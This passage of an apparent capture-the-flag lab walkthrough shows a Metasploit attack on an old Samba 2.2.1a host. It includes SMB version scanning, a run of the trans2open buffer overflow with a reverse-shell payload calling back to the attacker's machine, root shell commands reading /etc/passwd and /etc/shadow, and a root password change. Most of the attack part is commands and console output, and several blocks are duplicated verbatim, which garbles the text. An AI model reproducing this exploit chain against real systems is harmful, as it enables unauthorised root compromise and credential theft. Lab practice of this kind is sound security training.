4 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
5 auxiliary/scanner/smb/psexec_loggedin_users normal No Microsoft Windows Authenticated Logged In Users Enumeration
6 auxiliary/scanner/dcerpc/petitpotam normal No PetitPotam
7 auxiliary/scanner/sap/sap_smb_relay normal No SAP SMB Relay Abuse
8 auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal No SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
9 auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal No SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
10 auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal No SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
11 auxiliary/scanner/smb/smb_enumusers_domain normal No SMB Domain User Enumeration
12 auxiliary/scanner/smb/smb_enum_gpp normal No SMB Group Policy Preference Saved Passwords Enumeration
13 auxiliary/scanner/smb/smb_login normal No SMB Login Check Scanner
14 auxiliary/scanner/smb/smb_lookupsid normal No SMB SID User Enumeration (LookupSid)
15 auxiliary/admin/smb/check_dir_file normal No SMB Scanner Check File/Directory Utility
16 auxiliary/scanner/smb/pipe_auditor normal No SMB Session Pipe Auditor
17 auxiliary/scanner/smb/pipe_dcerpc_auditor normal No SMB Session Pipe DCERPC Auditor
18 auxiliary/scanner/smb/smb_enumshares normal No SMB Share Enumeration
19 auxiliary/scanner/smb/smb_enumusers normal No SMB User Enumeration (SAM EnumUsers)
20 auxiliary/scanner/smb/smb_version normal No SMB Version Detection
21 auxiliary/scanner/snmp/snmp_enumshares normal No SNMP Windows SMB Share Enumeration
22 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State
23 auxiliary/scanner/smb/impacket/wmiexec 2018-03-19 normal No WMI Exec
Interact with a module by name or index. For example info 23, use 23 or use auxiliary/scanner/smb/impacket/wmiexec
[msf](Jobs:0 Agents:0) >> use 20
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> option
[-] Unknown command: option
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> show option
[-] Invalid parameter "option", use "show -h" for more information
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> RHOSTS 192.168.159.129
[-] Unknown command: RHOSTS
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> set RHOSTS 192.168.159.129
RHOSTS => 192.168.159.129
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> run
[*] 192.168.159.129:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.159.129:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.159.129: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> search Samba 2.2.1a
[-] No results from search
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> search Samba 2.2.1
[-] No results from search
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> search Samba 2.2
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
1 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
2 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
3 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
4 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/trans2open
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >>
─[bughunter@parrot]─[~]
└──╼ $msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'WM.OOOOocccxOOOO.MX'xOOd.
,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.3.44-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >> search smb scanner
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/citrix_dir_traversal 2019-12-17 normal No Citrix ADC (NetScaler) Directory Traversal Scanner
1 auxiliary/scanner/smb/impacket/dcomexec 2018-03-19 normal No DCOM Exec
2 auxiliary/scanner/smb/impacket/secretsdump normal No DCOM Exec
3 auxiliary/scanner/dcerpc/dfscoerce normal No DFSCoerce
4 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
5 auxiliary/scanner/smb/psexec_loggedin_users normal No Microsoft Windows Authenticated Logged In Users Enumeration
6 auxiliary/scanner/dcerpc/petitpotam normal No PetitPotam
7 auxiliary/scanner/sap/sap_smb_relay normal No SAP SMB Relay Abuse
8 auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal No SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
9 auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal No SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
10 auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal No SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
11 auxiliary/scanner/smb/smb_enumusers_domain normal No SMB Domain User Enumeration
12 auxiliary/scanner/smb/smb_enum_gpp normal No SMB Group Policy Preference Saved Passwords Enumeration
13 auxiliary/scanner/smb/smb_login normal No SMB Login Check Scanner
14 auxiliary/scanner/smb/smb_lookupsid normal No SMB SID User Enumeration (LookupSid)
15 auxiliary/admin/smb/check_dir_file normal No SMB Scanner Check File/Directory Utility
16 auxiliary/scanner/smb/pipe_auditor normal No SMB Session Pipe Auditor
17 auxiliary/scanner/smb/pipe_dcerpc_auditor normal No SMB Session Pipe DCERPC Auditor
18 auxiliary/scanner/smb/smb_enumshares normal No SMB Share Enumeration
19 auxiliary/scanner/smb/smb_enumusers normal No SMB User Enumeration (SAM EnumUsers)
20 auxiliary/scanner/smb/smb_version normal No SMB Version Detection
21 auxiliary/scanner/snmp/snmp_enumshares normal No SNMP Windows SMB Share Enumeration
22 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State
23 auxiliary/scanner/smb/impacket/wmiexec 2018-03-19 normal No WMI Exec
Interact with a module by name or index. For example info 23, use 23 or use auxiliary/scanner/smb/impacket/wmiexec
[msf](Jobs:0 Agents:0) >> use 20
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> option
[-] Unknown command: option
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> show option
[-] Invalid parameter "option", use "show -h" for more information
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> RHOSTS 192.168.159.129
[-] Unknown command: RHOSTS
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> set RHOSTS 192.168.159.129
RHOSTS => 192.168.159.129
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> run
[*] 192.168.159.129:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.159.129:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.159.129: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> search Samba 2.2.1a
[-] No results from search
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> search Samba 2.2.1
[-] No results from search
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> search Samba 2.2
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
1 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
2 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
3 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
4 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/trans2open
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >>
We finally know about the Samba release.
Here, when we searched for Samba 2.2, we found that there were only 5 exploits, and we chose the one for Linux.
The
trans2openvulnerability is a stack-based buffer overflow in Samba 2.2.x's SMBTRANSACTION2request handler: when parsing theSMB_COM_TRANSACTION2subcommand, Samba miscalculates the buffer size needed for the request parameters and copies attacker-controlled data past the allocated stack buffer. By carefully crafting the overflow with a known return address (which is why Metasploit brute-forces addresses like0xbffffdfc), an attacker overwrites the saved return pointer and redirects execution to injected shellcode — running as root, since Samba's smbd process runs with root privileges by default.
Next, we will build the final exploitation.
┌─[bughunter@parrot]─[~]
└──╼ $msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>
___ ____
,-"" `. < HONK >
,' _ e )`-._ / ----
/ ,' `-._<.===-'
/ /
/ ;
_ / ;
(`._ _.-"" ""--..__,' |
<_ `-"" \
<`- :
(__ <__. ;
`-. '-.__. _.' /
\ `-.__,-' _,'
`._ , /__,-'
""._\__,'< <____
| | `----.`.
| | \ `.
; |___ \-``
\ --<
`.`.<
`-'
=[ metasploit v6.3.44-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >> search samba 2.2
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
1 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
2 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
3 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
4 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/trans2open
[msf](Jobs:0 Agents:0) >> use 2
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> set pyload linux/x86/meterpreter/reverse_tcp
[!] Unknown datastore option: pyload. Did you mean PAYLOAD?
pyload => linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> options
Module options (exploit/linux/samba/trans2open):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.130 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Samba 2.2.x - Bruteforce
View the full module info with the info, or info -d command.
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> set RHOSTS 192.168.159.129
RHOSTS => 192.168.159.129
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> run
[*] Started reverse TCP handler on 192.168.159.130:4444
[*] 192.168.159.129:139 - Trying return address 0xbffffdfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffcfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffbfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffafc...
[*] Sending stage (1017704 bytes) to 192.168.159.129
[*] 192.168.159.129 - Meterpreter session 1 closed. Reason: Died
[*] 192.168.159.129:139 - Trying return address 0xbffff9fc...
[*] Sending stage (1017704 bytes) to 192.168.159.129
[*] 192.168.159.129 - Meterpreter session 2 closed. Reason: Died
[-] Meterpreter session 2 is not valid and will be closed
[*] 192.168.159.129:139 - Trying return address 0xbffff8fc...
[*] Sending stage (1017704 bytes) to 192.168.159.129
[*] 192.168.159.129 - Meterpreter session 3 closed. Reason: Died
[*] 192.168.159.129:139 - Trying return address 0xbffff7fc...
[*] Sending stage (1017704 bytes) to 192.168.159.129
[*] 192.168.159.129 - Meterpreter session 4 closed. Reason: Died
[*] 192.168.159.129:139 - Trying return address 0xbffff6fc...
[*] 192.168.159.129:139 - Trying return address 0xbffff5fc...
[*] 192.168.159.129:139 - Trying return address 0xbffff4fc...
[*] 192.168.159.129:139 - Trying return address 0xbffff3fc...
^C[-] 192.168.159.129:139 - Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted┌─[bughunter@parrot]─[~]
└──╼ $msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>
___ ____
,-"" `. < HONK >
,' _ e )`-._ / ----
/ ,' `-._<.===-'
/ /
/ ;
_ / ;
(`._ _.-"" ""--..__,' |
<_ `-"" \
<`- :
(__ <__. ;
`-. '-.__. _.' /
\ `-.__,-' _,'
`._ , /__,-'
""._\__,'< <____
| | `----.`.
| | \ `.
; |___ \-``
\ --<
`.`.<
`-'
=[ metasploit v6.3.44-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >> search samba 2.2
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
1 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
2 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
3 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
4 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/trans2open
[msf](Jobs:0 Agents:0) >> use 2
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> set pyload linux/x86/meterpreter/reverse_tcp
[!] Unknown datastore option: pyload. Did you mean PAYLOAD?
pyload => linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> options
Module options (exploit/linux/samba/trans2open):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.130 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Samba 2.2.x - Bruteforce
View the full module info with the info, or info -d command.
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> set RHOSTS 192.168.159.129
RHOSTS => 192.168.159.129
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> run
[*] Started reverse TCP handler on 192.168.159.130:4444
[*] 192.168.159.129:139 - Trying return address 0xbffffdfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffcfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffbfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffafc...
[*] Sending stage (1017704 bytes) to 192.168.159.129
[*] 192.168.159.129 - Meterpreter session 1 closed. Reason: Died
[*] 192.168.159.129:139 - Trying return address 0xbffff9fc...
[*] Sending stage (1017704 bytes) to 192.168.159.129
[*] 192.168.159.129 - Meterpreter session 2 closed. Reason: Died
[-] Meterpreter session 2 is not valid and will be closed
[*] 192.168.159.129:139 - Trying return address 0xbffff8fc...
[*] Sending stage (1017704 bytes) to 192.168.159.129
[*] 192.168.159.129 - Meterpreter session 3 closed. Reason: Died
[*] 192.168.159.129:139 - Trying return address 0xbffff7fc...
[*] Sending stage (1017704 bytes) to 192.168.159.129
[*] 192.168.159.129 - Meterpreter session 4 closed. Reason: Died
[*] 192.168.159.129:139 - Trying return address 0xbffff6fc...
[*] 192.168.159.129:139 - Trying return address 0xbffff5fc...
[*] 192.168.159.129:139 - Trying return address 0xbffff4fc...
[*] 192.168.159.129:139 - Trying return address 0xbffff3fc...
^C[-] 192.168.159.129:139 - Exploit failed [user-interrupt]: Interrupt
[-] run: InterruptedWe notice here that the package has died, This is due to a typographical error and possibly the package is too large.
so we will replace the payload.
set pyload linux/x86/meterpreter/reverse_tcp
set PAYLOAD linux/x86/shell/reverse_tcpset pyload linux/x86/meterpreter/reverse_tcp
set PAYLOAD linux/x86/shell/reverse_tcpHere we are, we got the shell. We quickly created an internal Enumeration
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> run
[*] Started reverse TCP handler on 192.168.159.130:4444
[*] 192.168.159.129:139 - Trying return address 0xbffffdfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffcfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffbfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.159.129
[*] 192.168.159.129:139 - Trying return address 0xbffff9fc...
[*] Sending stage (36 bytes) to 192.168.159.129
[*] 192.168.159.129:139 - Trying return address 0xbffff8fc...
[*] Sending stage (36 bytes) to 192.168.159.129
[*] 192.168.159.129:139 - Trying return address 0xbffff7fc...
[*] Sending stage (36 bytes) to 192.168.159.129
[*] 192.168.159.129:139 - Trying return address 0xbffff6fc...
[*] Command shell session 5 opened (192.168.159.130:4444 -> 192.168.159.129:1040) at 2026-07-28 11:42:23 -0600
[*] Command shell session 6 opened (192.168.159.130:4444 -> 192.168.159.129:1041) at 2026-07-28 11:42:24 -0600
[*] Command shell session 7 opened (192.168.159.130:4444 -> 192.168.159.129:1042) at 2026-07-28 11:42:26 -0600
[*] Command shell session 8 opened (192.168.159.130:4444 -> 192.168.159.129:1043) at 2026-07-28 11:42:27 -0600
ls
id
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
cat /etc/passwd
cat /etc/passwd
cat /etc/passwd
cat /etc/passwd
cat /etc/shadow
cat /etc/shadow
passwd
New password: PWNED
BAD PASSWORD: it is too short
Retype new password: PWNED
passwd: all authentication tokens updated successfully[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> run
[*] Started reverse TCP handler on 192.168.159.130:4444
[*] 192.168.159.129:139 - Trying return address 0xbffffdfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffcfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffbfc...
[*] 192.168.159.129:139 - Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.159.129
[*] 192.168.159.129:139 - Trying return address 0xbffff9fc...
[*] Sending stage (36 bytes) to 192.168.159.129
[*] 192.168.159.129:139 - Trying return address 0xbffff8fc...
[*] Sending stage (36 bytes) to 192.168.159.129
[*] 192.168.159.129:139 - Trying return address 0xbffff7fc...
[*] Sending stage (36 bytes) to 192.168.159.129
[*] 192.168.159.129:139 - Trying return address 0xbffff6fc...
[*] Command shell session 5 opened (192.168.159.130:4444 -> 192.168.159.129:1040) at 2026-07-28 11:42:23 -0600
[*] Command shell session 6 opened (192.168.159.130:4444 -> 192.168.159.129:1041) at 2026-07-28 11:42:24 -0600
[*] Command shell session 7 opened (192.168.159.130:4444 -> 192.168.159.129:1042) at 2026-07-28 11:42:26 -0600
[*] Command shell session 8 opened (192.168.159.130:4444 -> 192.168.159.129:1043) at 2026-07-28 11:42:27 -0600
ls
id
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
cat /etc/passwd
cat /etc/passwd
cat /etc/passwd
cat /etc/passwd
cat /etc/shadow
cat /etc/shadow
passwd
New password: PWNED
BAD PASSWORD: it is too short
Retype new password: PWNED
passwd: all authentication tokens updated successfullyHere we couldn't find the etc/password, shadow file. This is probably because the system isn't complete.
Here we changed the user "root password" to PWNED and logged into the main system.
And leaving a small message : )
I hope you enjoyed the trip !!